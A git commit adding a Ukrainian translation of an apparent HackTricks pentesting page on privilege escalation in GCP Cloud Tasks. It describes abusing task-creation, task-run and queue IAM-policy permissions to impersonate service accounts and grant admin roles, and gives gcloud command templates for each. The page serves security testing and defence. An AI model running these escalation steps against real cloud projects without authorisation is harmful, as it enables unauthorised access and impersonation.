Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:28:08 +00:00
parent 8a79a14d77
commit c183087692
2 changed files with 46 additions and 0 deletions

View File

@@ -0,0 +1,45 @@
# GCP - Cloud Tasks Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Tasks
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
Зловмисник з цими дозволами може **вдаватися до інших облікових записів служби**, створюючи завдання, які виконуються з ідентичністю вказаного облікового запису служби. Це дозволяє надсилати **автентифіковані HTTP-запити до сервісів Cloud Run або Cloud Functions, захищених IAM**.
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
Зловмисник з цими правами може **виконувати існуючі заплановані завдання** без наявності прав на обліковий запис служби, пов'язаний із завданням. Це дозволяє виконувати завдання, які були раніше створені з обліковими записами служби з вищими привілеями.
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
Основний, який виконує цю команду, **не потребує дозволу `iam.serviceAccounts.actAs`** на обліковий запис служби завдання. Однак це лише дозволяє виконувати існуючі завдання - це не надає можливості створювати або змінювати завдання.
### `cloudtasks.queues.setIamPolicy`
Зловмисник з цим дозволом може **надавати собі або іншим основним ролі Cloud Tasks** на конкретних чергах, потенційно підвищуючи до `roles/cloudtasks.admin`, що включає можливість створювати та виконувати завдання.
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
Це дозволяє зловмиснику надати повні адміністративні права Cloud Tasks на чергу будь-якому обліковому запису служби, яким вони керують.
## Посилання
- [Документація Google Cloud Tasks](https://cloud.google.com/tasks/docs)
{{#include ../../../banners/hacktricks-training.md}}